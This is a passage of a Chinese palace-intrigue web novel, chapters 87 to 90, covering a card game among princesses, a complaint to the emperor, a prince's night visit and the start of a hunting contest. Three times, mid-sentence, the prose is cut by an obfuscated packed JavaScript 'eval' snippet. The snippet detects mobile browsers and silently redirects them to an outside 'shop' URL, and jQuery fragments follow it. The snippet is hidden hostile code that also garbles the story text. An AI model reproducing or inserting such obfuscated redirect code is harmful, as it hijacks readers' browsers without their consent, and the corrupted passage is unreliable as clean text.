章麓原本还指望着有章引玉这个话痨在,一路上也不至于无聊。谁知三叔被留在了京城,章引玉便想留下来陪着姑姑,正好她的婚期将近,留下来绣嫁衣才是正事。 于是,章麓只能与母亲呆在一辆车里整整两天,听着她对自己念叨着宗妇礼法,反复告诫不可逾矩,谨言慎行,少说多看,云云。一副比自己成亲还要紧张和忐忑的模样。 在章麓憋出病来之前,忽而见到有羽林卫打马而来。 虞庆侯骑马随行在自家女眷的马车前,见到羽林卫,奇怪的问道:“这位大人不知有何事?” 羽林卫骑在马上朝虞庆侯行了拱手礼,客气道:“皇后娘娘请新安县主移步。” “现在?”虞庆侯愣住,他瞧了瞧正在行进的队伍:“现在不好过去吧?” 羽林卫解释道:“陛下命仪仗在前方馆驿暂时休整,皇后娘娘的车架正停在驿站外,大宛国两年前进贡两匹宝马,一公一母,公的那匹名为玉花骢,是淳王的坐骑,母的那匹年纪小,上个月才训好,性格温润,名为照夜白,皇后特地赐给新安县主。” 章麓掀开车帘,打眼便瞧见羽林卫身后有一身着短打布衣的汉子,像是内廷的人,骑着一匹黑马,手中还牵着一匹通体全白,没有一根杂毛的照夜白,头至尾约长一丈,高八尺。 虞庆侯夫妇二人意识到,皇后这是在给章麓做脸面。 于是,身着枣红色横云纹翻领织金骑装的章麓,就犹如一道靓丽的风景线,骑着照夜白一路从仪仗的后方行至最前方。引得不少人议论纷纷,连随着雍贵妃一同前来的李诗龄都忍不住扯碎了手里的帕子。 那可是她朝父皇讨了好久的马,结果居然被赏给了这个贱人! 雍贵妃依旧闭目养神,仿佛没看见李诗龄的失态。反正于她来说,李诗龄又不是她女儿,自己也并非真的爱护她,只是一枚好用的棋子罢了。 章麓刚行至皇后的车架前,李明月那张圆润的小脸便从车窗里探出来,朝她灿烂一笑:“你可算来了!这下可以打叶子牌了!” 待上了车架,章麓先给皇后请安,然后才与李明月说话。 李明月的声音带着娇嗔:“一路上太无聊了,也不敢召其他闺秀来,怕引起误会,只能麻烦未来三嫂来陪着解解闷了。”说完,还俏皮的朝她眨了眨眼。 章麓心中明悟,原来是七公主请她来的,并不是皇后。 李明月拉开小桌下的抽屉,里面满满当当的各色点心,她拿了一个月季花饼递给章麓:“这与蝉鸣宴那日的鲜花饼出自同一位御厨之手,你快尝尝。” 待章麓接过之后,她又从下一层抽屉里摸出一副叶子牌:“如今正好三人,咱们一起打叶子牌!” “细君,明月,你们还在车上作甚?”泰安帝的声音在车外响起,随即车帘被一双手挑开。车内三人齐刷刷的朝外望去,就见到一手扶着车帘的泰安帝,以及身后站着的淳王、瑞王和康王。 章麓赶忙向泰安帝行礼,后者抬了抬手免了她礼,问:“你是来陪细君的?” 皇后忙道:“路上无聊,叫着她一块儿打叶子牌,打发时间。”说完,趁着泰安帝的手直接走了出去。 “哦?”泰安帝扶着皇后下车,好奇的追问道:“怎么个玩法?也没见你们摆金果子。” 李明月也同章麓一起下了车,跟在泰安帝身后一副娇嗔模样,解释道:“可以写纸条贴在脸颊上,输一次贴一次,纸条上的内容由胜者指定。” 泰安帝忍俊不禁道:“这倒是有趣。” 章麓默默跟在三人身后,不着痕迹的理了理鬓发,朝李鹤霖看去。只见对方唇角微勾,眉眼含笑,朝她微微点头示意。 两人短暂的对视了一瞬,并未引起任何人的察觉。 为了照夜白赶来的六公主李诗龄,只听到了她们要玩叶子牌的几句话,当即说要加入。碍于父皇在场,李明月再不待见对方也不能直接下了她的脸面,只能表面笑嘻嘻的应承下来。想到小时候踢毽子对方耍赖的情形,她将规矩重申了一遍,见对方点头才拉着章麓与她在厢房里玩了起来。 蝉鸣宴上的事章麓还记得,自然不会‘礼让’李诗龄。范阳寒苦,深冬时节,常常会窝在暖阁与丫头们玩叶子牌,牌技自然不在话下。不到半个时辰,便走了七轮,李明月输了两回,李诗龄输了五回,只有章麓的脸上还白白净净的,一张纸条都没见到。 两人的纸条都是由章麓亲笔写下,一手颜体颇具风骨,连李诗龄看到都不由愣了一下。 “嫂嫂这字可真好看!”李明月赞赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047225|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 李诗龄翻了个白眼,嗤笑道:“这还没过门呢,就喊上嫂嫂了,也不怕最后嫁不进去。” “你说什么呢!”李明月气到。 “本公主爱说什么说什么,要你管!”李诗龄朝她吐舌头,一把将手中的牌丢在桌上说:“再开一局!这局不算!” “凭什么!你都快输了,就说不算了?你这不是耍赖吗?”李明月不乐意:“小时候踢毽子你就耍赖,如今都十六了还耍赖,要不要脸!” 李诗龄没理她,反而看向章麓,仰着下巴冲她说到:“老是你在赢,莫不是出老千了吧?这局不算,下局本宫发牌!” “你胡说八道什么!嫂嫂才不会作弊!”李明月愤怒的反驳道:“自己技不如人不从自己身上找原因,却指责别人有问题,若不是不想在父皇面前下你的面子,你以为我乐意跟你玩啊!输不起就直说,别张口就污蔑人!” 李诗龄被她数落的心中吐血,对着她怒目而视,眼见就要与她拉扯起来。 章麓适时出声道:“六公主,臣女也只是会些心算罢了,赢得侥幸。” 心算?李诗龄自入太学以来,最不喜的便是数术,每每听来都犹如天音绕梁,直教人昏昏欲睡,因而数术课是最差的,常常被老师数落。她觉得章麓说这话就是在讽刺她,顿时恼羞成怒,气呼呼的推开厢房的门,跑了出去。 她直奔陛下所在的后院,真巧与前来请安的一众妃嫔撞了个正着。 走在前面的雍贵妃一瞧,连忙走上去抚着李诗龄的小脸,关心道:“这是怎么了?谁欺负我们家龄儿了?” 一旁的景贵妃在心中不屑的翻了个白眼,她早就知道雍贵妃的套路。因为怕连着生孩子伤身体,她只诞下五皇子李谨焕一人,便一直在服用避子汤。不过,陛下去她那里的时日不多,五年来除了需要西洲侯平定大小勃律的时候去过几次外,日常连个召见都没有。 陛下喜欢女儿是众所周知的事情,她不想生,便借着怡妃性子冷淡,不与子女亲近的契机,将李诗龄笼络到自己的身边,成了她的半女。若是不明说,不知道的还以为李诗龄是她生的呢。 因着对李诗龄照顾有佳,泰安帝倒是总会想起她,给雍和宫不少赏赐。 今日六公主受了委屈,想必又要利用人家去勾搭陛下。 也得亏六公主这棋子确实好用,竟被她强行留在宫里留到了十六岁,眼瞧着七公主都要十五了,这六公主还不嫁,不明晃晃的耽误自己女儿的婚事吗? 孟德才守在院门口,见到她们前来,赶忙行礼。 六公主刚刚得了雍贵妃安慰,还说帮她讨回公道,顿时理直气壮了不少,对孟德才也失了几分客气,直接吼道:“本公主要见父皇!” 孟德才没说什么,转身进去禀报。不一会儿,便走出来,朝几位行了礼,说:“陛下请几位娘娘和公主进去。” 六公主就这么哭着冲进了院子,本想直接奔进父皇怀里,却不承想看见父皇正给皇后剥草莓梗,淳王正在一旁舞剑。 一副和谐的三口之家模样,竟突然觉得自己格格不入。 88. 第 88 章 趁她呆愣的时候,泰安帝用帕子擦了擦手,好奇道:“龄儿怎么哭了?” 雍贵妃瞥了一眼已经收势,这会儿正立在泰安帝旁喝水的淳王,面上带着丝丝无奈的说到:“龄儿先前与明月还有虞庆侯府的六姑娘打叶子牌,不知怎么就哭着跑了出来,抽抽巴巴的,妾身还从未见过她如此委屈过。” 泰安帝垂眸朝六公主招了招手,后者反应过来,瞬间如同乳燕投林一般冲进了父皇的怀中,还未止住的眼泪,流的更凶了。 李鹤霖站在一旁,目光不甚明朗的看了一眼雍贵妃。 泰安帝拍了拍六公主的背,好声好气的问道:“到底是怎么一回事?” 雍贵妃想要抬手拭泪的动作一僵,委屈的咬着下唇,目光期期艾艾的投向泰安帝,可惜对方没有给她一个眼神,依旧看着怀中的女儿。 而七公主的生母景贵妃,则像个没事儿人一样岿然不动,好似被告状的并不是她女儿一般。只在心里不屑的笑着,雍贵妃以为新安县主好欺负还是她女儿好欺负?只要说话时用些春秋笔法就能让陛下替李诗龄出气? 陛下是疼爱女儿不假,但那只是出于对洛阳的愧疚。 自洛阳十二岁之后,陛下便揭竿而起,开始了南征北战的生活。直到洛阳的哥哥,陛下的嫡长子慧德太子战死后,才见到了已经十九岁的女儿。这七年的缺失,令陛下深感愧疚,便一直对其余女儿都格外关照一些,可谁也越不过洛阳公主去。 难道她就没发现,自洛阳公主去世后,陛下对两位公主的感情淡了许多吗? 陛下就算再宠爱女儿,也会先问清楚情况再定夺。更何况李诗龄还是怡妃的女儿,留着前朝皇室的血脉。 李诗龄在进来前,就被雍贵妃交代过要如何阐述事实才能对自己更有利,她抽抽噎噎的说到:“女儿与七妹还有章六姑娘打牌,结果两个人联合起来欺负我一个,把把都让我输,给女儿脸上贴了好些字条,简直丑极了!女儿说她们联合着串牌,她们还不承认,七妹还要打我……”说到这里,她哭的更惨了,一副被欺负得敢怒不敢言的可怜模样。 “贴字条不是早先说好的规则吗?又怎么能称得上是欺负?”李鹤霖垂眸看着她。 六公主身体一僵,顿时委屈的大哭:“可她们串通起来欺负我一个!还狡辩说自己是心算出来的,这不是欺负是什么!” 一旁的雍贵妃也适时的掉了眼泪,温柔的安抚着李诗龄,嘴上还说着什么,寻常女儿家都是读的千字文、百家姓,像皇室女儿才学些数术、筹算之类的,一个戍边的武将之家,怎么会心算,可见就是在欺负我们家龄儿,云云。 泰安帝闻言,顿时对李诗龄感到失望。他轻轻将怀中的女儿拉开,不顾她委屈的神色命她站好,面上冷淡的说:“武将又如何,洛阳也善武,于数术一道也颇为精通。” “那怎么能一样。”雍贵妃辩解道。 泰安帝不欲多言,直接端起茶杯喝茶。倒是一旁的李鹤霖好心解释到:“范阳章氏的族学,由四大儒之一的徐无贺先生执掌。徐先生通文善武,于诗词歌赋、数术、礼仪三道都颇有盛名,堪称四大儒之首。想必在章氏族学授课时,定会教章氏兄妹一些关于心算的本事吧。” 这话说得委婉,却噎得雍贵妃哑口无言。 徐无贺哪里是在数术上颇具盛名,他于数术一道上堪称天造之才!放眼整个大梁无人能及,心算之道更是令人难以望其项背。如此名师竟在范阳章氏的族学教学,简直是暴殄天物! 可无论雍贵妃如何腹诽,这状都告不下去了。只有李诗龄还不明白事情的严重性,气的差点破口大骂,却又恐惧于大皇兄的威严,只能哭着告状:“我知道那是你未过门的妻子,所以你向着她!处处替她说好话……” “本王只是就事论事,若你觉得徐先生的弟子不会心算,那本王也不欲与你多言。”李鹤霖一脸严肃,丝毫不想与她在此事上过多掰扯。 这一番冷言冷语更让六公主觉得委屈,口不择言道:“徐无贺又怎么了!女子无才便是德,徐无贺才看不上章六那个贱人……” “放肆!”泰安帝的暴怒声乍然响起,惊得院中众人都不由的身体一颤。 原本哭的撕心裂肺的李诗龄瞬间哑了声,吓得忍不住一直打嗝。 雍贵妃没想到李诗龄竟然敢在陛下面前口出狂言,一时间脑袋只觉嗡的一声巨响。 她平日除了需要利用她才会见她外,其余时候她学了什么,跟什么人见过她都只听宫人汇报个大概,除非有需要特别在意的人,她基本都是左耳朵进右耳朵出。她没想到,李诗龄不知何时学了这张口‘贱.人’闭口‘贱.人’的毛病! 她简直想要晕过去!这拖后腿的小畜生!怎么没被怡妃给掐死! “父皇……”李诗龄呆呆的看着一脸严肃的父亲,一时之间竟不知该说什么。 泰安帝丝毫没有安慰她的意思,直接站起身甩袖离去:“早早休息吧,明日还要赶路。” 李鹤霖扶着母后跟在后面,经过李诗龄时,高高在上的垂眸看了一眼跌坐在地上的人:“脑子是个好东西,雍贵妃既如此疼爱她,金银珠宝都舍得,为何不肯给她副好点的脑子呢?” 见人都走了,景贵妃也没留下来看热闹的意思,反而跟上了皇后。 待皇帝一行回到了屋内,景贵妃才上前请安,道明了来意。 泰安帝对景贵妃的态度远比对雍贵妃要温和许多,他重复了一遍景贵妃的请求:“你想给明月相看?” 景贵妃恭恭敬敬的半蹲在泰安帝和皇后面前,头微微低垂的说到:“是,明月如今也十五了,该是相看人家的时候了,待到成婚之日也有十六七,确实拖不得。” 泰安帝寻思了一会儿,说:“可龄儿还未成婚,安规矩,明月也不能越过姐姐先行成婚。她们是亲姐妹,不像章麓与章引玉是堂姐妹,且章弋离开范阳多年,名义上也算是分了家的,并不违背祖宗规矩。” “妾身知道,但六公主如今也十七了,再过四个月便十八了,虽然雍贵妃颇为疼爱她,但总也不好继续留着,再留可就成老姑娘了。” 这事儿太后倒是提过一句,不过是在安国公被夺爵之前。那时太后是想让李诗龄先嫁了,好将李明月嫁给崔家旁支这辈最有出息的孩子,以拉拢琅琊王氏。 如今太后的如意算盘被打翻了一半,章麓成了准淳王妃,那李明月的婚事她还会惦记吗? 想到此处,泰安帝不动声色的问道:“你可是有人选了?” 景贵妃脸上露出一丝笑意,说到:“人选倒谈不上,毕竟妾身还想问问明月的意思,只是觉得父亲新收的几个门生,倒有一个人品不错的,虽于学问上远不及临之,但贵在人品不错,应当会对明月好。只是,还未问过明月的意思,想着得先得到陛下准予,才好同明月讲。” 景贵妃出身琅琊王氏,自幼学的便不单是女红、乐艺,更多的是朝堂制衡与人脉往来,最看得清利弊得失。琅琊王氏有妃嫔却从不出皇帝,就是为了维持传承。毕竟,一旦成为皇帝母家,很多事情都会被放大,小错也会被说成大错。稍一不慎,便是万劫不复。 因而,琅琊王氏只出帝师,不出皇帝。 自景贵妃嫁入皇室的那天起,她便没想过争宠,他的兄长告诉她,这不是她的责任,她只需随心所欲的活着便好。她的宠爱,自会有兄长,有琅琊王氏在朝为官的人替她去争取。 所以,对于景贵妃来说,儿子的正妃,女儿的驸马,都不需要出自高门大户,最好不要出自世家。如此一来,利益牵扯少了,才能独善其身。才能让琅琊王氏更坚定的站在淳王的阵营里。 泰安帝得知她的想法后,心中感叹琅琊王氏不愧被称为清流世族,无论儿女皆会做人。他满意的点头,说:“那就让明月先看看,若是她不喜欢,再慢慢遴选,不急于一时。至于六公主的婚事,这次游猎,有不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055139|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勋贵世家的子弟,正好可以给她选一个不错的驸马。” 话音落定,也昭示着李诗龄的婚事被敲定,甚至都没知会雍贵妃和怡妃一声。 第二日一早,泰安帝的仪仗再次出发,这回章麓没有继续留在皇后的凤车内,而是与母亲坐在一辆车里。 虞庆侯夫人自然得知了昨日六公主告状,最后却被陛下冷声斥责的事。毕竟驿站不比宫中,出点事儿根本藏不住。包括淳王是如何替自家女儿说话的,都传的有鼻子有眼的。不过最让众人惊讶的倒不是这些,而是自二十年前便失去踪迹的徐无贺,竟会在范阳,还掌管章氏族学。 这令不少文臣世家羡慕嫉妒的眼都红了,不少家乡离范阳近一些的文臣,都来找虞庆侯套近乎,明里暗里询问族学的事。还有不少人问虞庆侯,有没有将族学搬到京城的打算,毕竟日后也不一定能回得去范阳了不是。 但都被虞庆侯以各种理由搪塞回去,问的直白的直接打哈哈,揣着明白装糊涂。众人见状,知道这徐无贺的光怕是不好沾,便都暂时收敛了起来,打算结束游猎,回到京城再行登门。 就这样,在众人若有似无的羡慕目光中,陛下的仪仗终于在日暮时分到达了秋山。 看到比皇宫还要华丽的秋山猎宫,章麓终于知道前朝的六王之乱是如何来的了。如此奢靡荒废,连给边关军饷都扣扣索索的,怪不得会被逼宫! 一行人进入猎宫后,泰安帝入住中间靠北的轩辕宫,皇后则住在轩辕宫后面的凤云殿,太后则住在凤云殿后的寿安宫,其他妃子按品级居住在凤云殿西侧,品级越高越靠近凤云殿。 几位未成年的皇子与母亲同住一宫,封王的则单独居住在凤云殿东侧,皇室宗亲也住在凤云殿的东侧。 大臣及其家眷则安品级居住于轩辕宫以南,公侯等则离轩辕宫最近。 马匹要单独圈在西南角的马圈内,由侍候马匹的宫人来看护。章麓的照夜白也不知怎得,死活不愿意离开章麓,宫人牵着它的缰绳它就尥蹶子。而宫人知道这是大宛国进贡的宝马,之前一直养在洛阳的西郊马场,他们也是只闻其名,未见其颜。 见它如此不服管教,又不敢像对待其他马匹一样使大力气拉拽缰绳,一时间竟僵持在原地。 章麓见状,便接过缰绳,命宫人前方带路。 宫人讪讪的讨好章麓,擦了擦额头的汗,在前面带着章麓去了马圈。 回来的路上,天色已黑,宫人提着灯为其照路。 行宫不像皇宫花草树木少得可怜,反而郁郁葱葱。因着西南角是马圈,怕惊扰贵人,通往西侧的西南门已经关闭,章麓只能沿着小路从东南门返回。 穿过一处小花园时,正巧遇见了五皇子李谨焕。对方衣袂翩翩,自桃花树下而来,在粉红色的花瓣的映照下,宛若翩翩君子、顾盼生姿。 这是章麓重生以来,第一次见到李谨焕,心中的五味杂陈自不必说,前世李鹤霖那般信任他,可最后换来的只有背叛。 章麓停下脚步,双手交叠,微微垂头,行了个福礼,道:“见过康王。” 李谨焕本是要去见舅舅西洲侯,没想到会遇见章麓,不过他与此女并没有什么话好说,所以只是微微点头,便准备离开。 在即将越过她时,他忽而闻到了一股熟悉的香味儿,突然停下了脚步,神色莫名的扫了章麓一眼,说:“你……” 章麓默默垂首,静待下文。 可康王只说了一个‘你’字便停了,不知道在想些什么。 最后,只听得对方说了一句:“恭喜新安县主,希望县主能与三哥百年好合。” “臣女,谢过康王殿下。”章麓客气的回了一个笑容,从容淡然,不卑不亢。 康王没有多留,转身离开。待快走到西洲侯所在院子的时候,他突然站定,望着不远处另一处院子里,伸出来的合欢花出神。 “我为什么会觉得似曾相识呢?”他喃喃道。 89. 第 89 章 回到虞庆侯府分到的宫室,章麓与父母吃完晚膳,便回房休息了。 洗完澡,晴放正给她绞干头发。 章麓那起桌上的一本杂书,叹道:“也不知道双竹和晴野怎么样了。” “王妃娘娘不是说,他们都还安好,待此番事了,便可回来了。” 忽闻一阵细微的脚步声,章麓的视线从手中的书籍移开,撇了一眼门外,又听见窗棂响起咚的一声,像是被小石子击中。 晴放下意识往窗户那儿看去,手中的动作微微停滞。 章麓将手中书卷重新卷好,放在矮桌上,对晴放说:“擦的差不多了,你先回去休息吧,明日天不亮便要起。” 晴放放下棉帕,恭敬的行了福礼,端着铜盆和帕子退出了屋子。 待人走远,章麓起身走到窗户前,食指微曲敲了敲窗棂。不多时,映照在窗户上的树影中,出现了一个高大的人影。 章麓拉开窗户,便瞧见李鹤霖俊美的脸庞。 她勾了勾唇,双臂交叠垫在下巴下面,趴在窗边瞧着对方。好看的眉眼似笑非笑,在满月的照耀下灿若星辰。 “你怎么来了?还翻墙。”她的视线落在一丈高的青瓦红墙上,打趣的问道。 李鹤霖站在窗前,看见她半干的头发:“窗边风大,你头发还未干,把窗户关上,我们隔窗说话便是。” “无妨。”章麓摸了摸自己的头发,转头进屋找了块棉帕将头发裹了起来:“这样就没事了,棉帕的吸水性很好,头发一会儿就干了。” 李鹤霖张了张嘴,还想说什么,却被章麓打断:“你怎么这会儿来了?”她并不想在这种事情上与李鹤霖争辩,毫无意义也浪费时间。 李鹤霖默了一下,怕惊动宫里的人,压着声音说道:“来看看你。猎宫人多,不好与你太过亲近,只能趁夜深人静的时候,以解相思之苦。” 瞧着对方用羞涩的表情说着酸话,章麓眨巴了一下眼睛,捂着嘴笑出了声。 被一个女子直勾勾的看着,李鹤霖有些不太自在,他掩饰性的轻咳一声:“明日各个卫所比试狩猎,父皇设了彩头,是一柄名为‘含章’的宝刀,到时我定会取得头名,将宝刀赢回来送给你。” 章麓有些诧异,不过没有说什么‘为什么要送我’之类的傻话。这明晃晃的讨好之意,她要是看不出,那可白在商场混了这么多年。来自未婚丈夫的好意她自然不会推拒,脸上的笑容瞬间扩大几分,眉眼弯弯的应声:“好呀,那我等着善渊哥哥的礼物。” 李鹤霖面色一红,有些不自在的挠了挠头。 两人就这样,一个在屋内,一个在屋外,隔着一扇窗户说了好些话。因着声音低,两人一直都没有被巡逻的禁军发现。 此情此景,不由的让章麓响起在范阳时,绣房掌事给她讲的故事。那掌事年轻时,她定亲的对象也是这样,总是夜里偷偷翻墙来找她,有时候会被狗发现,被追着咬了一里地。那是她只当这是个浪漫的故事,但此刻置身其中,才明白当时绣房掌事说这些事情的时候,是怀着何种甜蜜的心情。 对于李鹤霖来说,这也是一种新奇的经历。特别是当屋中少女朝他甜甜微笑时,那灿若星河的眼眸,令他胸中抑制不住的燃起一股炙热。 他咽了口吐沫,想令自己镇定下来,可绯红的耳朵却毫不留情的出卖了他。他按了按发热的耳廓,将一直拎在左手上的兔子抬起来,递给章麓:“这是我刚在猎场外围抓的,送你。” 那是只白色的成年兔子,被养的膘肥体壮,足有人小臂那么长,此时正呆愣愣的与章麓大眼瞪小眼。 章麓伸出双手,将兔子抱到自己的怀里,摸了摸它已经被洗干净的光滑皮毛,朝李鹤霖笑到:“谢谢你,我很喜欢。” 李鹤霖不自在的点点头,嘱咐道:“嗯,那我先回去了,你好好休息,明天见。” “明天见!”章麓笑意盈盈的目送李鹤霖利落的翻墙出去,看着空无一人的墙边,骤然失笑。 她低头看着老实的兔子,伸出食指点了点它的额头,低声喃喃道:“他和你一样,都是个呆子。” * 翌日,天将微明,猎场的号角声传入室内。章麓猛的睁开眼睛,坐起身子。连忙喊到:“晴放!” “在,姑娘!”晴放推门进来:“姑娘要起了吗?” “现在什么时辰了?” “卯初,猎场刚响了第一声长号。”晴放回道。 “哎,你怎么不早点叫我。”章麓拍了拍微疼的脑袋,昨夜没睡好,做了一晚上关于李鹤霖的梦,搅得她今日竟起晚了。 晴放笑了笑,解释道:“侯爷半个时辰前来过,说陛下卯正才会召集大臣及家眷前往猎场,让您不必起得那么早。” “那可不行,今日是游猎第一天,早去比迟去要好,把我的骑装拿来。”章麓爬起身,快速穿上鞋袜,将头发随意的扎成一团,穿上袭霜递过来的淡蓝色骑装。 待晴放为章麓梳好头,已然临近卯正。 就在她准备去找淳王了解墨云骑的时候,太后身边的嬷嬷突然过来。 “章六姑娘,太后有请。” 章麓诧异的挑了挑眉,什么都没问,将晴放留在帐子里,自己跟着嬷嬷去了太后的营帐。 太后的营帐就扎在皇帝营帐的旁边,里面宽敞明亮,还铺着绒毯。太后身旁伴着雍贵妃和良嫔,还有一位看着年轻,头戴虫簪的宫装妇人,不知是哪位妃嫔。下首位坐着六公主、七公主,还有不少命妇,皇后和景贵妃到不在此处。 章麓进来的时候,帐篷里的人都看了过来。虽今日章麓也是一身爽利的男装打扮,但妆容却是女妆,瞧着明艳靓丽,宛若鹤立鸡群。 看她走来,太后笑起来说:“袅袅来了,快来坐。” 听着这亲昵的称呼,章麓不由的起了一身鸡皮疙瘩,恭敬的行了礼,便坐在内侍搬来的锦杌上默不作声。 虽她不吭声,但太后却一直拉着她说话,言语间亲昵得仿佛亲祖孙一般,旁边不少命妇附和。章麓朝那些附和的人一一扫去,听她们相互之间的称呼,发现不少都是文臣家眷。 太后绕了一大圈,从淳王的年少趣事,到幽云十六州的风土人情,凡是章麓答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077142|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得上的就象征性的说几句,答不上的便轻笑不语。直到日上枝头,太后才说出她的真正目的。 “陛下允诺,若是小七能亲自猎得一只兔子,便可自选合心意的夫婿,这可是好大一个恩典。然而小七不善骑射,你是她未来的三嫂,应当帮扶她一二,今日外出狩猎,你便替哀家照看着些吧。” 七公主一愣,没想到太后居然会让章麓陪着她一道,这岂不是搬起石头砸自己的脚?且不说她本意是看上了平威侯世子,想借此机会搭讪博好感;章麓可是要下场比赛的,这会儿肯定要抓紧时间与墨云骑熟悉一番才好,否则输了丢三皇兄的人不说,她又如何跟三皇兄交代? “太后的好意,孙女心领了,但三皇兄昨日就说了,章六姑娘今日要一同参赛,着实不好在孙女身上浪费时间。” “这怎么会浪费时间呢?”李诗龄坐在一旁翘着脚笑到:“墨云骑声名远播,有没有章六姑娘在,都不会有妨碍,就算妹妹觉得章六姑娘能身体力行的鼓舞将士,想必以妹妹的天资聪颖,也不会耽误太多时间的,对吧?” 太后慈爱的瞧着李诗龄,笑着点头:“就是这个理,还是龄儿看得清,好了,事情就这么定了。哀家乏了,你们都退下吧。” 看着太后闭目塞听的模样,再瞧瞧李诗龄都快翘上天的尾巴,李明月冷笑一声,拉着章麓扭头出了营帐。 一路走到马场,李明月还气哼哼的,走路都走出了震天撼地的起势。 “真以为自己是凭本事得了太后和雍贵妃青眼?不过就是枚随时可弃的棋子罢了,被人卖了还帮着数钱的蠢货!” “公主,我们还去挑马吧。”眼瞧着马场的内官弯腰朝他们走来,章麓拍了拍李明月的肩膀,在对方看过来的时候,微微朝内侍的方向抬了抬下巴。 瞧着她含笑的眉眼,似乎对太后的做法并没有什么不满,李明月只能抿了抿唇,压下心中的暴躁。 内官牵来几匹温润的母马,这些都是宫内培育的良种,耐力好、脚程快,但矮小温顺,正适合宫中年纪小的贵人们用来打猎。 而章麓的坐骑自然是皇后赐下的照夜白,纯白的骏马高昂着马头,在一群小矮马中鹤立鸡群。 李明月坐在马上,吹着春日和煦的微风,心中的不愉消减了不少。 她转头看向章麓,俏皮的眨了眨眼说:“嫂嫂,咱们先去猎场转转,四皇兄教过我骑马,虽然练习的不太勤吧,但底子是在的,一定能很快猎到兔子,不耽误你与三皇兄增进感情。” “好啊。”章麓应声,但并没有直接加速,而是紧跟着李明月,对方加速她便加,始终与对方保持一致。 七公主的贴身侍卫瞧着章麓的动作,略有些惊讶。之前遇刺时,章麓的武艺令他们啧啧称奇,早先从赏梅宴也流传出来一些流言,但毕竟是豪门郎君与娘子之间的玩闹,所以没有当真。但没想到新安县主的骑术果真如此之好。她虽然慢,但对马匹的控制可谓精准,通身透着一股闲适惬意的气息,一路配合着七公主的步伐,比他们做的都要好。 众人刚进入猎场外围,便听见一阵马蹄声响起。 90. 第 90 章 转过头望去,便看见已经换了一身火红骑装的六公主,被一众贵女和侍卫簇拥着朝他们而来。 章麓倒是第一次见她被贵女们簇拥着的模样,春日宴上的时候,她身边的人虽多,但大多都是宫人,贵女有是有,但多是围绕在崔梦宜身边。 可在猎宫之前,崔梦宜被卫王妃抓住勾引自己的儿子,一状告到了太后那里,太后知道其中原委,也不好真的坐实,便顺势让崔梦宜嫁给李啸林做侧妃。泰安帝没异议,这事儿便这么定了,如今正在府上筹备嫁妆,没有跟来猎宫,结果这群贵女会转而围到六公主身边。 只见对方神采飞扬,一脸的倨傲之色,对于周围人的阿谀奉承倍感受用,甚至有些飘飘然。 “章六,本宫要与你比一场!”之前叶子牌的事情令她大为丢人,心里一直琢磨着在其他地方扳回一城,如今正是好时机。 太后祖母说了,前朝宫猎的时候,随行侍卫帮着公主打猎的事常有。毕竟公主们都是大门不出二门不迈的,哪儿会骑马狩猎,但为了好看都会让侍卫带上与自己相同的箭雨,到时候计算时都会算作时公主猎得的猎物。人员众多的猎场上,谁也不会计较这箭到底是从谁手上发出的。 到时候,她就不信她赢不了! 对于六公主的比赛邀请,章麓有些疑惑,但没有拒绝。对方怎么着也是位公主,若是当着这么多人的面拒绝了,传出去只会说她狂妄。于是她问:“不知公主想要如何比试?” “自然是比谁猎到的动物多,兔子、野鸡这类猎到一只算一分,野猪、狐狸、鹿算两分,咱们就在猎场外围,那些老虎、黑熊咱们遇不到,就不算在内了,如何?” 章麓自然没有意见,不过她的目光扫向她身边侍卫的箭袋,指着那些一模一样的箭羽,问道:“那他们……” “他们是本宫的护卫,自然要与本宫一起!”李诗龄警惕的看着她。 “可他们的箭羽与公主的似乎一样。” “自然,他们是本宫的护卫,所用的东西自然与本宫一样都是顶好的。”李诗龄昂首挺胸,这些护卫可都是她专门从五哥哥那里借来的,都是顶好的金吾卫,定能帮她夺得头筹。 “喂!你这是作弊!”李明月指着她说到:“你让他们与你用同样的箭矢,若是他们射中猎物,到最后岂不是都算作你头上?你那可有四个人!四比一也不嫌臊得慌!” “我们明明五个人,你会不会算数!”李诗龄道。 李明月冷笑一声,说:“就你那三脚猫的骑射功夫,也能算作一个?我呸!” 听着这话,李诗龄直接气炸了,咆哮道:“你闭嘴!总比这肥猪要好上百倍!” “李诗龄,你信不信我杀了你!” “哼,自己贪吃管不住嘴,吃成一头猪还不让人说了!” 看到这一幕,在场的贵女都颇为惊讶,他们还从未见过两位公主吵成这个样子,尤其是李诗龄,满口的污言秽语,一点都没有公主风范。 “没关系!”章麓扬声打断两人的争执,“六公主金尊玉贵,自然要有护卫相随,既然如此,咱们就以三炷香的时间为准,最后猎得猎物最多的人为赢家,如何?” 